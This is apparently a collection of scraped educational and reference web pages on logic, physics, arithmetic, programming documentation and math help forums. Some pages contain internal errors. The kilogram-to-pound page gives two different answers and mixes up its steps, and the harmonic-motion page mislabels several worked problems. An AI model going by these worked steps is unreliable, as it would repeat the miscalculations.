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https://wiki.iaoa.org/index.php/Edu:Logic
[ "# Edu:Logic\n\n## Logic\n\n1. The combination of a formal language with a formal theory of truth or a proof theory (or both).\n2. The study of arguments, with the intention of describing how to distinguish good arguments from bad arguments. According to the generally accepted usage among philosophers, an argument is valid if (and only if) There are no cases in which the premises of the argument are true, but the conclusion of the argument false. A distinction is often made between valid arguments and cogent arguments. A cogent argument is a valid argument the premises of which are true. These terms only apply to what is called deductive logic, as opposed to inductive forms of reasoning.\n3. Some logics are classified as monotonic. Monotonic logics fit most closely what most people understand deductive logic to be. Roughly speaking, a logic is monotonic if (and only if) all deductively valid arguments formulated in that logic remain deductively valid, even if new premises are added to such arguments. Non-monotonic logics reflect what most people think of as inductive logic.\n4. Deductive reasoning is sometimes described as being most essentially inference from the general to the particular; inductive reasoning is sometimes described as being most essentially inference from the particular to the general. These descriptions are useful, but the two kinds of logic are best understood in terms of the degree of certainty conferred on the conclusion by the premises. Deductive arguments are those in which, in good arguments, the premises confer certainty on their conclusions. Deductive validity as described above embodies this requirement. Inductive arguments are those in which, in good arguments, the premises confer a degree of certainty less than total on their conclusions. In such arguments, the probability of the conclusion follows from the premises." ]
[ null ]
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https://origin.geeksforgeeks.org/energy-in-simple-harmonic-motion/?ref=lbp
[ "", null, "GFG App\nOpen App", null, "Browser\nContinue\n\n# Energy in Simple Harmonic Motion\n\nEach and every object possesses energy. In a simple harmonic motion, the object goes to the extreme and acquires potential energy. When the object comes back to the mean position, its velocity is at its maximum. Thus, in this case, the potential is converted to kinetic energy and vice versa. In an ideal simple harmonic motion, the energy is conserved. Even though it might change forms, the total energy remains constant. It is essential to study these changes in energy and the total energy to analyze the SHM and its properties. Let’s look at that in detail.\n\n### Simple Harmonic Motion\n\nSimple Harmonic Motion is a kind of periodic motion where the object moves to and fro around its mean position. The time period, in this case, remains constant. The time period is denoted by “T” and the distance of the mean position from the extreme position is called amplitude, it is denoted by A. The general equation for the position(x) of the object at any particular time is given by,", null, "Here,", null, "and", null, "denotes the phase shift.\n\nSimilarly, the equation for the velocity of the object in SHM can be found by differentiating this equation.", null, "Then, the equation for acceleration becomes,", null, "### Energy in Simple Harmonic Motion\n\nKinetic and potential energies in the SHM vary from zero to their maximum values. The equations mentioned above show that the velocity of the object follows the sinusoidal trajectory, which means that the velocity of the object increases and decreases. The velocity is zero at the extreme positions and maximum at the mean positions. The position where the velocity is maximum is the position where the kinetic energy of the object is also maximum.\n\nFor an object of mass “m”, with a velocity “v”. Kinetic energy is given by,\n\nKE =", null, "Since the object is in SHM, the value of the velocity can be substituted into the equation,\n\nKE =", null, "⇒ KE =", null, "⇒ KE =", null, "Notice that the KE is also in the form of a periodic equation.\n\nMaximum Value of K.E =", null, "(At the mean position)\n\nMinimum Value of K.E = 0 (At the extreme position)\n\nIn the case of conservative forces, which are directly proportional to the displacement. The potential energy is given by,\n\nU =", null, "Substituting the value of x(t) in SHM,\n\nU =", null, "⇒ U(t) =", null, "⇒ U(t) =", null, "Let’s find the total energy,\n\nE = U + K\n\n⇒ E =", null, "+", null, "⇒ E =", null, "⇒ E =", null, "", null, "The figure above shows the graph of KE and PE and the total energy E of the SHM. In this case, notice that the total energy of the system remains constant and independent of time.\n\n### Sample Problems\n\nQuestion 1: A particle of mass 10Kg is performing SHM where its position is given by the equation given below,\n\nx(t) = 3sin(5t)\n\nFind its kinetic energy at the mean position.\n\nThe KE at the mean position is given by,\n\nK.E =", null, "In this case, A = 3, m = 10Kg and", null, "K.E =", null, "⇒ K.E =", null, "⇒ K.E =", null, "⇒ K.E = 1225 J\n\nQuestion 2: A particle of mass 2Kg is performing SHM where its position is given by the equation given below,\n\nx(t) = cos(2t)\n\nFind its kinetic energy at the mean position.\n\nThe KE at the mean position is given by,\n\nK.E =", null, "In this case, A = 1, m = 2Kg and", null, "K.E =", null, "⇒ K.E =", null, "⇒ K.E = 4 J.\n\nQuestion 3: A particle of mass 2Kg is performing SHM connected to a spring (k = 100 N/m) where its position is given by the equation given below,\n\nx(t) = 20cos(t)\n\nFind its potential energy at the extreme position.\n\nThe KE at the mean position is given by,\n\nU(t) =", null, "In this case, A = 20, k =100 and", null, "U(t) =", null, "⇒ U(t) =", null, "⇒ U(t) = 20000 J\n\nQuestion 4: A particle of mass 1Kg is performing SHM connected to a spring (k = 10 N/m) where its position is given by the equation given below,\n\nx(t) = 2cos(t)\n\nFind its potential energy at the extreme position.\n\nThe KE at the mean position is given by,\n\nU(t) =", null, "In this case, A = 2, k =10 and", null, "U(t) =", null, "⇒ U(t) =", null, "⇒ U(t) = 20 J\n\nQuestion 5: A particle is performing SHM where its position is given by the equation given below,\n\nx(t) = 2sin(10t)\n\nFind its velocity at the mean position.\n\nThe KE at the mean position is given by,\n\nK.E =", null, "In this case, A = 2 and", null, "K.E =", null, "", null, "⇒", null, "", null, "⇒ v = 10 m/s\n\nQuestion 6: A particle is performing SHM where its position is given by the equation given below,\n\nx(t) = 10cos(10t + 5)\n\nFind its velocity at the mean position.\n\nThe KE at the mean position is given by,\n\nK.E =", null, "In this case, A = 10 and", null, "K.E =", null, "", null, "⇒", null, "⇒v2 = 102(10)2\n\n⇒ v = 100 m/s\n\nMy Personal Notes arrow_drop_up" ]
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http://forums.wolfram.com/mathgroup/archive/2000/Jul/msg00261.html
[ "", null, "", null, "", null, "", null, "", null, "", null, "", null, "3d-2d points\n\n• To: mathgroup at smc.vnet.net\n• Subject: [mg24463] 3d-2d points\n• From: Jeff Moran <prism at ulster.net>\n• Date: Tue, 18 Jul 2000 00:59:08 -0400 (EDT)\n• Sender: owner-wri-mathgroup at wolfram.com\n\n```Here's the problem:\n\nOn a 1:2 aspect ratio flat map of the Earth, using virtual colored gels\nover the geographic satellite imagery, we divided the globe\ninto a dodecahedron12 identical pentagons with 3 converging at either\npole and six around the equator. Using the 3D program\nLightwave, we rendered an image of each pentagon face on. We know the\ncoordinates, in latitude and longitude, of each point of\neach pentagon, so given the coordinates of a location somewhere on the\nglobe (e.g. New York City @ 40N42 and 74W00)--we can\ndetermine the pentagon to which the location belongs.\n\nOur problem is plotting an accurate representation of the location on\nthe rendered image. Our programmer (Aaron) was given very\nhelpful math on how to convert 3D coordinates to 2D which he translated\n(roughly) into this code:\n-------------------------------------------------\nloc = location coord\ncenter = pentagon center coord\n\nsloc = loc - center --subtract center from loc coord to make it relative\n\nto the center of the pentagon\n\ntheta = (PI * sloc.horz) / 180 convert coord to radians..\nphi = (PI * sloc.vert) / 180\n\nr = 3.5530 -- radius of the sphere in Lightwave\n\nx = r * sin(theta) * cos(phi)\ny = r * sin(phi)\nz = r * cos(theta) * cos(phi)\n\nf + .4696 -- focal length in Lightwave\nd = 6.3682 -- the distance between the center of the sphere and the\nviewer in Lightwave\n\nsx = (f * x) / (d - z) -- 2D coords of the loc..\nsy = (f * y) / (d - z)\n----------------------------------\n\nThe problem we are encountering now is that this doesn't account for the\n\nway latitude curves around the globe. This is especially\napparent around the poles (in the uppermost three and lowermost three\npentagons) where the curve is most pronounced. The\nformula treats all locations as if the pentagon were centered (none are)\n\non the equator and prime meridian.\n\n```\n\n• Prev by Date: Re: A strange bug in Solve\n• Next by Date: RE: fade to mauve\n• Previous by thread: Re: Need to reduce 2 lists so that only {x,y} pairs with same x remain" ]
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https://www.teachoo.com/8799/2488/Ex-12.1--4/category/Ex-12.1/
[ "Ex 12.1\n\nChapter 12 Class 6 Ratio And Proportion\nSerial order wise", null, "Get live Maths 1-on-1 Classs - Class 6 to 12\n\n### Transcript\n\nEx 12.1, 4 Distances travelled by Hamid and Akhtar in an hour are 9 km and 12 km. Find the ratio of speed of Hamid to the speed of Akhtar. Distance travelled by Hamid in 1 hour = 9 km ∴ Hamid’s speed = 9 km/hour Distance travelled by Akhtar in 1 hour = 12 km ∴ Akhtar’s speed = 12 km/hour Ratio = (𝐻𝑎𝑚𝑖𝑑^′ 𝑠 𝑠𝑝𝑒𝑒𝑑)/(𝐴𝑘ℎ𝑡𝑎𝑟^′ 𝑠 𝑠𝑝𝑒𝑒𝑑) = 9/12 ∴ Required ratio is 3 : 4", null, "" ]
[ null, "https://d1avenlh0i1xmr.cloudfront.net/1c07d37f-23c7-45cc-99d0-8c62758b5b01/slide9.jpg", null, "https://www.teachoo.com/static/misc/Davneet_Singh.jpg", null ]
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https://numbersdb.org/numbers/131180
[ "# The Number 131180 : Square Root, Cube Root, Factors, Prime Checker\n\nYou can find Square Root, Cube Root, Factors, Prime Check, Binary, Octal, Hexadecimal and more of Number 131180. 131180 is written as One Hundred And Thirty One Thousand, One Hundred And Eighty. You can find Binary, Octal, Hexadecimal Representation and sin, cos, tan values and Multiplication, Division tables.\n\n• Number 131180 is an even Number.\n• Number 131180 is not a Prime Number\n• Sum of all digits of 131180 is 14.\n• Previous number of 131180 is 131179\n• Next number of 131180 is 131181\n\n## Square, Square Root, Cube, Cube Root of 131180\n\n• Square Root of 131180 is 362.18779659177\n• Cube Root of 131180 is 50.810781599827\n• Square of 131180 is 17208192400\n• Cube of 131180 is 2257370679032000\n\n## Numeral System of Number 131180\n\n• Binary Representation of 131180 is 100000000001101100\n• Octal Representation of 131180 is 400154\n• Hexadecimal Representation of 131180 is 2006c\n\n## Sin, Cos, Tan of Number 131180\n\n• Sin of 131180 is 0.64278760968663\n• Cos of 131180 is -0.76604444311891\n• Tan of 131180 is -0.83909963117747\n\n## Multiplication Table for 131180\n\n• 131180 multiplied by 1 equals to 131,180\n• 131180 multiplied by 2 equals to 262,360\n• 131180 multiplied by 3 equals to 393,540\n• 131180 multiplied by 4 equals to 524,720\n• 131180 multiplied by 5 equals to 655,900\n• 131180 multiplied by 6 equals to 787,080\n• 131180 multiplied by 7 equals to 918,260\n• 131180 multiplied by 8 equals to 1,049,440\n• 131180 multiplied by 9 equals to 1,180,620\n• 131180 multiplied by 10 equals to 1,311,800\n• 131180 multiplied by 11 equals to 1,442,980\n• 131180 multiplied by 12 equals to 1,574,160\n\n## Division Table for 131180\n\n• 131180 divided by 1 equals to 131180\n• 131180 divided by 2 equals to 65590\n• 131180 divided by 3 equals to 43726.666666667\n• 131180 divided by 4 equals to 32795\n• 131180 divided by 5 equals to 26236\n• 131180 divided by 6 equals to 21863.333333333\n• 131180 divided by 7 equals to 18740\n• 131180 divided by 8 equals to 16397.5\n• 131180 divided by 9 equals to 14575.555555556\n• 131180 divided by 10 equals to 13118\n• 131180 divided by 11 equals to 11925.454545455\n• 131180 divided by 12 equals to 10931.666666667" ]
[ null ]
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https://socratic.org/questions/how-do-you-solve-7-2-x-35-using-the-distributive-property
[ "# How do you solve 7(2+x)=35 using the distributive property?\n\nFeb 20, 2017\n\n$x = 3$\n\n#### Explanation:\n\nDistribute the 7 into the parentheses. Note that the coefficient in front of the x is 1\n\n$7 \\times 2 = 14$\n\n$7 \\times 1 = 7$\n\nYour problem can be rewritten as:\n\n$14 + 7 x = 35$\n\nNow solve for x. Subtract 14 on both sides and then divide by 7:\n\n$7 x = 21$\n\n$x = 3$\n\nYou can also do this dividing both sides of the equation in the beginning and simplifying:\n\n$\\left(\\frac{7}{7}\\right) \\left(2 + x\\right) = \\frac{35}{7}$\n\n$2 + x = 5$\n\n$x = 3$" ]
[ null ]
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https://de.mathworks.com/matlabcentral/cody/problems/406-back-to-basics-16-byte-order/solutions/1266270
[ "Cody\n\n# Problem 406. Back to basics 16 - byte order\n\nSolution 1266270\n\nSubmitted on 11 Sep 2017 by Andrew Dobrovolc\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1   Pass\nx = uint16(12345); y_correct = 14640; assert(isequal(byte_order(x),y_correct))\n\n2   Pass\nx = uint32(12345); y_correct = 959447040; assert(isequal(byte_order(x),y_correct))\n\n3   Pass\nx = int32(-12345); y_correct = -942669825; assert(isequal(byte_order(x),y_correct))\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!" ]
[ null ]
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https://coolconversion.com/weight/kg-lbs-oz/_3.09_kilograms_in_lbs_and_oz_
[ "# 3.09 Kilograms in lbs and oz\n\n3.09 kg = 6 lb 12 15/16 oz(*)\n\n(*) This result may be rounded to the nearest 1/16 of an ounce.\n\nor\n+\n\n## How many pounds and ounces in 3.09 kilograms?\n\nHow many lbs and oz in 3.09 kilograms? There are 6 lb 12 15/16 oz (ounces) in 3.09 kg. Use our calculator below to transform any kg or grams value in lbs and ounces.\n\nUsing this converter you can get answers to questions like:\n\n• How many lb and oz are in 3.09 kilogramss?\n• 3.09 kilogramss is equal to how many pounds and ounces?\n• How to convert kilograms or grams to pounds and ounces?\n• How do I convert kilograms to pounds in baby weight?\n\n## How to convert 3.09 kilograms to pounds and ounces step-by-step\n\nOne kilogram is a unit of masss (not weight) and equals approximately 2.2 pounds. One pound equals 16 ounces exactly. If you need to be super precise, you can use one kilogram = 2.2046226218488 pounds. Once this is very close to 2.2 pounds, you will almost always want to use the simpler number to make the math easier.\n\n### Step 1: Convert from kilograms to pounds\n\n1 kilogram = 2.2 x pounds, so,\n\n3.09 x 1 kilogram = 3.09 x 2.2 pounds (rounded), or\n\n3.09 kilograms = 6.798 pounds.\n\n### Step 2: Convert the decimal part of pounds to ounces\n\nAn answer like \"6.798 pounds\" might not mean much to you because you may want to express the decimal part, which is in pounds, in ounces which is a smaller unit.\n\nSo, take everything after the decimal point (0.8), then multiply that by 16 to turn it into ounces. This works because one pound = 16 ounces. Then,\n\n6.8 pounds = 6 + 0.8 pounds = 6 pounds + 0.8 x 16 ounces = 6 pounds + 12.8 ounces. So, 6.8 pounds = 6 pounds and 12 ounces (when rounded). Obviously, this is equivalent to 3.09 kilograms.\n\n### Step 3: Convert from decimal ounces to an usable fraction of once\n\nThe previous step gave you the answer in decimal ounces (12.8), but how to express it as an usable (practical) fraction? See below a procedure, which can also be made using a calculator, to convert the decimal ounces to the nearest usable fraction:\n\na) Subtract 12, the number of whole ounces, from 12.8:\n\n12.8 - 12 = 0.8. This is the fractional part of the value in ounces.\n\nb) Multiply 0.8 times 8 (it could be 8, 16, 32, 64, ... depending on the exactness you want) to get the number of 16th's ounces:\n\n0.8 x 16 = 12.8.\n\nc) Take the integer part:\n\nint(12.8) = 13. This is the number of 16th's of a pound and also the numerator of the fraction.\n\nFinally, 3.09 kilograms = 6 pounds 12 3/4 ounces.\n\nAs 12/16 is not in the simplest form, it should be reduced to 3/4 in order to get a simpler fraction.\n\nIn short:\n\n3.09 kg = 6 pounds 12 3/4 ounces\n\nImportant! This result may differ from the calculator above because we've assumed here that 1 kilogram equals 2.2 pounds instead of 2.2046226218488 pounds.\n\n## Other units also called ounce\n\nOne avoirdupois ounce is equal to approximately 28.3 g (grams). The avoirdupois ounce is used in US and British systems. Our converter uses this unit. There other units also called ounce:\n\n• The troy ounce of about 31.1 g (grams) which is is used only for measuring the mass of precious metals like gold, silver, platinum and palladium.\n• The fluid ounce (fl oz, fl. oz. or oz. fl). It is not a unit of mass but volume. It is equivalent to about 30 ml.\n\n## Examples of kilograms to pounds and ounces conversions\n\n### Disclaimer\n\nWhile every effort is made to ensure the accuracy of the information provided on this website, neither this website nor its authors are responsible for any errors or omissions, or for the results obtained from the use of this information. All information in this site is provided “as is”, with no guarantee of completeness, accuracy, timeliness or of the results obtained from the use of this information." ]
[ null ]
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https://proofwiki.org/wiki/Euler%27s_Number_is_Irrational
[ "# Euler's Number is Irrational\n\n## Theorem\n\nEuler's number $e$ is irrational.\n\nAiming for a contradiction, suppose that $e$ is rational.\n\nThen there exist coprime integers $m$ and $n$ (and we can choose $n$ to be positive) such that:\n\n$\\dfrac m n = e = \\displaystyle \\sum_{i \\mathop = 0}^\\infty \\frac 1 {i!}$ from the definition of Euler's number.\n\nMultiplying both sides by $n!$, observe that:\n\n$\\dfrac m n n! = n! \\displaystyle \\sum_{i \\mathop = 0}^\\infty \\frac 1 {i!} = \\paren {\\dfrac {n!} {0!} + \\dfrac {n!} {1!} + \\dfrac {n!} {2!} + \\cdots + \\dfrac {n!} {n!} } + \\paren {\\frac {n!} {\\paren {n + 1}!} + \\dfrac {n!} {\\paren {n + 2}!} + \\dfrac {n!} {\\paren {n + 3}!} + \\cdots}$\n\nHence:\n\n $\\ds m \\paren {n - 1}! - \\paren {\\frac {n!} {0!} + \\frac {n!} {1!} + \\frac {n!} {2!} + \\cdots + \\frac {n!} {n!} }$ $=$ $\\ds \\frac 1 {\\paren {n + 1} } + \\frac 1 {\\paren {n + 1} \\paren {n + 2} } + \\frac 1 {\\paren {n + 1} \\paren {n + 2} \\paren {n + 3} } + \\cdots$ $\\ds$ $<$ $\\ds \\frac 1 {\\paren {n + 1} } + \\frac 1 {\\paren {n + 1} \\paren {n + 1} } + \\frac 1 {\\paren {n + 1} \\paren {n + 1} \\paren {n + 1} } + \\cdots$ $\\ds$ $=$ $\\ds \\sum_{i \\mathop = 0}^\\infty \\paren {\\frac 1 {n + 1} }^{\\paren {i + 1} }$ $\\ds$ $=$ $\\ds \\frac {\\frac 1 {n + 1} } {1 - \\frac 1 {n + 1} } = \\frac 1 n \\le 1$ from Sum of Infinite Geometric Sequence \n\nObserve that the quantity on the left hand side must be an integer, as it is composed entirely of sums and differences of integer terms.\n\nIt must be strictly positive, as it is equal to:\n\n$\\dfrac 1 {\\paren {n + 1} } + \\dfrac 1 {\\paren {n + 1} \\paren {n + 2} } + \\dfrac 1 {\\paren {n + 1} \\paren {n + 2} \\paren {n + 3} } + \\cdots$\n\nwhich is strictly positive.\n\nThus:\n\n$m \\paren {n - 1}! - \\paren {\\dfrac {n!} {0!} + \\dfrac {n!} {1!} + \\dfrac {n!} {2!} + \\cdots + \\dfrac {n!} {n!} }$\n\nmust be a strictly positive integer less than $1$.\n\nFrom this contradiction it follows that $e$ must be irrational.\n\n$\\blacksquare$\n\n## Historical Note\n\nThe proof that Euler's number $e$ is irrational was demonstrated by Leonhard Paul Euler in $1737$." ]
[ null ]
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https://forums.toadworld.com/t/check-for-null-value-in-tdp-transformation-calculated-column/47021
[ "# Check For {null} Value in TDP Transformation Calculated Column\n\nHello,\n\nI want to create a calculated column in the transformation tool of TDP where I check if a value is {null} (or not {null}) and return something accordingly. I cannot figure out how TDP represents the null value when creating a calculated column. Appreciate any help.\n\nThanks,\nTroy\n\ninstead of calculated field try using Find and Replace. That rule is set up to recognize Nulls and allow you to set value.\n\nWhat I have is one column with dates/nulls and another column with a status of that project. I would like to create a column which checks if I have a date in the one column and a status of \"On Air\" in the other column. I don't want to replace the null values in this case. Is there a way to check a value is null in an if statement?\n\nLet me play around with it and let you know.\n\nPlease try Group Column if you aim to check a column value is null or not null and return something, not create calculated column.\n\nI have the same question. Besides using an Nvl command to do a null check is there a specific format to see if a column is equal/not equal to null? Example if I wanted to say\n\nIf([Test_Column] = null, 'Null Value', 'Not a Null Value')\n\nHow would be represent the null in the comparison statement to have it check? I could always write\n\nIf(Nvl([Test_Column],0) = 0, 'Null Value', 'Not a Null Value')\n\nbut if I do that then I have to make sure that the replacement value for the null matches the column data type or it will generate an error.\n\nAny info is appreciated.\n\nMy understanding is you want to check null value for one column, if it's null keep null value, if not equal null replace with other value, please try Group Column, is this you are looking for?\n\nThe Grouping makes sense when just looking at transforming the values of a single column, but I think the question here is how can we in building a formula evaluate a column to see if a value is null. For example the formula below is checking a column to see if a value is null, if it is not a calculation takes place, if it is null text is entered in the new calculated field.\n\nIf([TestColumn] != {null}, Sum([Sales]+[SalesTax]), 'No Sale')\n\nAs of right now the only way I can write this formula to work as intended is to do it as shown below\n\nIf(Nvl([TestColumn],0) != 0, Sum([Sales]+[SalesTax]), 'No Sale')\n\nI know the Nvl function can do the check for the null in this calculation, but is there a specific syntax to be used to make the first formula work? If not, working forward with the Nvl is acceptable. It would just help to streamline the formulas in a Nested If scenario.\n\nThanks\n\nThe only way I know how to make a calculated value based on another field is to use a case statement in the SQL. See Query Builder example below for adding Case statement. Here I am checking for Null in Amount_Billed and created a new column and setting value to 0.0 if null or original value if not null.\n\nI think this would work. Can I created a calculated field in the query builder between two different tables? I have one field that shows a project status and another field that shows the date that project was completed. These columns are from two different tables. I want to create a third column which says \"TRUE\" if there is a date and the status shows Complete but \"FALSE\" if there is a date but the status does not show Complete.", null, "" ]
[ null, "https://aws1.discourse-cdn.com/quest/original/2X/a/a33dca33d879063c5abbe8e85d151baadfc1ab90.jpeg", null ]
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https://www.scala-lang.org/files/archive/api/3.2.2/scala/math/Ordering$$Unit$.html
[ "# Unit\n\nscala.math.Ordering\\$.Unit\\$\nobject Unit extends UnitOrdering\n\n## Attributes\n\nSource\nOrdering.scala\nGraph\nSupertypes\ntrait UnitOrdering\ntrait Ordering[Unit]\ntrait Equiv[Unit]\ntrait Serializable\ntrait Comparator[Unit]\nclass Object\ntrait Matchable\nclass Any\nSelf type\nUnit.type\n\n## Members list\n\n### Type members\n\n#### Inherited classlikes\n\nclass OrderingOps(lhs: T)\n\nThis inner class defines comparison operators available for `T`.\n\nThis inner class defines comparison operators available for `T`.\n\nIt can't extend `AnyVal` because it is not a top-level class or a member of a statically accessible object.\n\n## Attributes\n\nInherited from:\nOrdering\nSource\nOrdering.scala\nSupertypes\nclass Object\ntrait Matchable\nclass Any\n\n### Value members\n\n#### Inherited methods\n\ndef compare(x: Unit, y: Unit): Int\n\nReturns an integer whose sign communicates how x compares to y.\n\nReturns an integer whose sign communicates how x compares to y.\n\nThe result sign has the following meaning:\n\n- negative if x < y - positive if x > y - zero otherwise (if x == y)\n\n## Attributes\n\nInherited from:\nUnitOrdering\nSource\nOrdering.scala\noverride def equiv(x: Unit, y: Unit): Boolean\n\nReturn true if `x` == `y` in the ordering.\n\nReturn true if `x` == `y` in the ordering.\n\n## Attributes\n\nDefinition Classes\nInherited from:\nOrdering\nSource\nOrdering.scala\noverride def gt(x: Unit, y: Unit): Boolean\n\nReturn true if `x` > `y` in the ordering.\n\nReturn true if `x` > `y` in the ordering.\n\n## Attributes\n\nDefinition Classes\nInherited from:\nOrdering\nSource\nOrdering.scala\noverride def gteq(x: Unit, y: Unit): Boolean\n\nReturn true if `x` >= `y` in the ordering.\n\nReturn true if `x` >= `y` in the ordering.\n\n## Attributes\n\nDefinition Classes\nInherited from:\nOrdering\nSource\nOrdering.scala\ndef isReverseOf(other: Ordering[_]): Boolean\n\nReturns whether or not the other ordering is the opposite ordering of this one.\n\nReturns whether or not the other ordering is the opposite ordering of this one.\n\nEquivalent to `other == this.reverse`.\n\nImplementations should only override this method if they are overriding reverse as well.\n\n## Attributes\n\nInherited from:\nOrdering\nSource\nOrdering.scala\noverride def lt(x: Unit, y: Unit): Boolean\n\nReturn true if `x` < `y` in the ordering.\n\nReturn true if `x` < `y` in the ordering.\n\n## Attributes\n\nDefinition Classes\nInherited from:\nOrdering\nSource\nOrdering.scala\noverride def lteq(x: Unit, y: Unit): Boolean\n\nReturn true if `x` <= `y` in the ordering.\n\nReturn true if `x` <= `y` in the ordering.\n\n## Attributes\n\nDefinition Classes\nInherited from:\nOrdering\nSource\nOrdering.scala\ndef max[U <: Unit](x: U, y: U): U\n\nReturn `x` if `x` >= `y`, otherwise `y`.\n\nReturn `x` if `x` >= `y`, otherwise `y`.\n\n## Attributes\n\nInherited from:\nOrdering\nSource\nOrdering.scala\ndef min[U <: Unit](x: U, y: U): U\n\nReturn `x` if `x` <= `y`, otherwise `y`.\n\nReturn `x` if `x` <= `y`, otherwise `y`.\n\n## Attributes\n\nInherited from:\nOrdering\nSource\nOrdering.scala\ndef on[U](f: U => Unit): Ordering[U]\n\nGiven f, a function from U into T, creates an Ordering[U] whose compare function is equivalent to:\n\nGiven f, a function from U into T, creates an Ordering[U] whose compare function is equivalent to:\n\n``````def compare(x:U, y:U) = Ordering[T].compare(f(x), f(y))\n``````\n\n## Attributes\n\nInherited from:\nOrdering\nSource\nOrdering.scala\ndef orElse(other: Ordering[Unit]): Ordering[T]\n\nCreates an Ordering[T] whose compare function returns the result of this Ordering's compare function, if it is non-zero, or else the result of `other`s compare function.\n\nCreates an Ordering[T] whose compare function returns the result of this Ordering's compare function, if it is non-zero, or else the result of `other`s compare function.\n\n## Value parameters\n\nother\n\nan Ordering to use if this Ordering returns zero\n\n## Attributes\n\nExample\n\n``````case class Pair(a: Int, b: Int)\nval pairOrdering = Ordering.by[Pair, Int](_.a)\n.orElse(Ordering.by[Pair, Int](_.b))\n``````\nInherited from:\nOrdering\nSource\nOrdering.scala\ndef orElseBy[S](f: Unit => S)(implicit ord: Ordering[S]): Ordering[T]\n\nGiven f, a function from T into S, creates an Ordering[T] whose compare function returns the result of this Ordering's compare function, if it is non-zero, or else a result equivalent to:\n\nGiven f, a function from T into S, creates an Ordering[T] whose compare function returns the result of this Ordering's compare function, if it is non-zero, or else a result equivalent to:\n\n``````Ordering[S].compare(f(x), f(y))\n``````\n\nThis function is equivalent to passing the result of `Ordering.by(f)` to `orElse`.\n\n## Attributes\n\nExample\n\n``````case class Pair(a: Int, b: Int)\nval pairOrdering = Ordering.by[Pair, Int](_.a)\n.orElseBy[Int](_.b)\n``````\nInherited from:\nOrdering\nSource\nOrdering.scala\noverride def reverse: Ordering[T]\n\nReturn the opposite ordering of this one.\n\nReturn the opposite ordering of this one.\n\nImplementations overriding this method MUST override isReverseOf as well if they change the behavior at all (for example, caching does not require overriding it).\n\n## Attributes\n\nDefinition Classes\nInherited from:\nOrdering\nSource\nOrdering.scala\ndef reversed(): Comparator[T]\n\n## Attributes\n\nInherited from:\nComparator\ndef thenComparing[U <: Comparable[_ >: U <: <FromJavaObject>]](x\\$0: Function[_ >: Unit <: <FromJavaObject>, _ <: U]): Comparator[T]\n\n## Attributes\n\nInherited from:\nComparator\ndef thenComparing[U <: <FromJavaObject>](x\\$0: Function[_ >: Unit <: <FromJavaObject>, _ <: U], x\\$1: Comparator[_ >: U <: <FromJavaObject>]): Comparator[T]\n\n## Attributes\n\nInherited from:\nComparator\ndef thenComparing(x\\$0: Comparator[_ >: Unit <: <FromJavaObject>]): Comparator[T]\n\n## Attributes\n\nInherited from:\nComparator\ndef thenComparingDouble(x\\$0: ToDoubleFunction[_ >: Unit <: <FromJavaObject>]): Comparator[T]\n\n## Attributes\n\nInherited from:\nComparator\ndef thenComparingInt(x\\$0: ToIntFunction[_ >: Unit <: <FromJavaObject>]): Comparator[T]\n\n## Attributes\n\nInherited from:\nComparator\ndef thenComparingLong(x\\$0: ToLongFunction[_ >: Unit <: <FromJavaObject>]): Comparator[T]\n\n## Attributes\n\nInherited from:\nComparator\ndef tryCompare(x: Unit, y: Unit): Option[Int]\n\nReturns whether a comparison between `x` and `y` is defined, and if so the result of `compare(x, y)`.\n\nReturns whether a comparison between `x` and `y` is defined, and if so the result of `compare(x, y)`.\n\n## Attributes\n\nInherited from:\nOrdering\nSource\nOrdering.scala\n\n### Implicits\n\n#### Inherited implicits\n\nimplicit def mkOrderingOps(lhs: Unit): OrderingOps\n\nThis implicit method augments `T` with the comparison operators defined in `scala.math.Ordering.Ops`.\n\nThis implicit method augments `T` with the comparison operators defined in `scala.math.Ordering.Ops`.\n\nInherited from:\nOrdering\nSource\nOrdering.scala" ]
[ null ]
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https://calcpercentage.com/what-is-142-percent-of-345
[ "# PercentageCalculator, What is 142% of 345?\n\n## What is 142 percent of 345? 142% of 345 is equal to 489.9\n\n%\n\n### How to Calculate 142 Percent of 345?\n\n• F\n\nFormula\n\n(142 ÷ 100) x 345 = 489.9\n\n• 1\n\nConvert percent to decimal\n\n142% to decimal is 142 ÷ 100 = 1.42\n\n• 2\n\nMultiply the decimal number with the second number\n\n1.42 x 345 = 489.9\n\n#### Example\n\nFor example, John needs 142 percent of the shares to be in power. The number of shares is 345. How many shares does John need to buy? What is 142 percent of 345? 142 percent to decimal is equal 142 / 100 = 1.42 1.42 x 345 = 489.9 so John need to buy 489.9 shares" ]
[ null ]
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https://questioncove.com/updates/4e5819370b8b1f45b475cbc6
[ "Mathematics", null, "OpenStudy (anonymous):\n\nI need help with gcf and lcm", null, "OpenStudy (aroub):\n\npost ur question! :)", null, "OpenStudy (anonymous):\n\nhow do I find the gcf of 76", null, "OpenStudy (aroub):\n\nand?", null, "OpenStudy (aroub):\n\ni mean 76 and what?", null, "OpenStudy (anonymous):\n\n56", null, "OpenStudy (anonymous):\n\nTo find the LCM of two numbers that are easy to factor I like to make a chart of the factors (and their multiplicity). \\begin{array}{|c|ccc}&\\\\ Number &2 & 7 & 19\\\\ \\hline 56 & 3 & 1 & 0\\\\ \\hline 76 & 2 & 0 &1\\end{array} So we have $2^3 \\cdot 7 = 8 \\cdot 7 = 56$$2^2 \\cdot 19 = 4 \\cdot 19 = 76$ To find the LCM we just take the product of each of the factors raised to the max multiplicity of that factor (the biggest number in the column). $LCM = 2^3\\cdot 7^1 \\cdot 19^1 = 1064$", null, "OpenStudy (aroub):\n\nif u want to find the gcf of the numbers u have 56 and 76 u write the factors of the number for 56 there is 1 and 56, 28 and 2 , 14 and 4 , 7 and 8 , okay i think this for the 56, 76= 38 and 2, 19 and 4 , 76 and 1 , okay i guess thats it now u see whats common u have 1,2,4 so 4 is the greatest so its the gcf", null, "OpenStudy (anonymous):\n\nYou can also use the same chart I made for the LCM. The GCF is the product of the minimum values for all the columns. $GCF = 2^2 \\cdot 7^0 \\cdot 19^0 = 4$", null, "OpenStudy (aroub):\n\nyes..", null, "OpenStudy (anonymous):\n\nIf it's two numbers that aren't easy to factor I have to use Euclid's method for finding the GCD, then use the equation: $LCM(a,b) = \\frac{|a\\cdot b|}{GCD(a,b)}$", null, "OpenStudy (anonymous):\n\nBut it doesn't generalize for more than 2 numbers.\n\nLatest Questions", null, "Victorya: why do you use math in this world?\n7 minutes ago 7 Replies 3 Medals", null, "PapaLazy: How you work dis ._.\n21 minutes 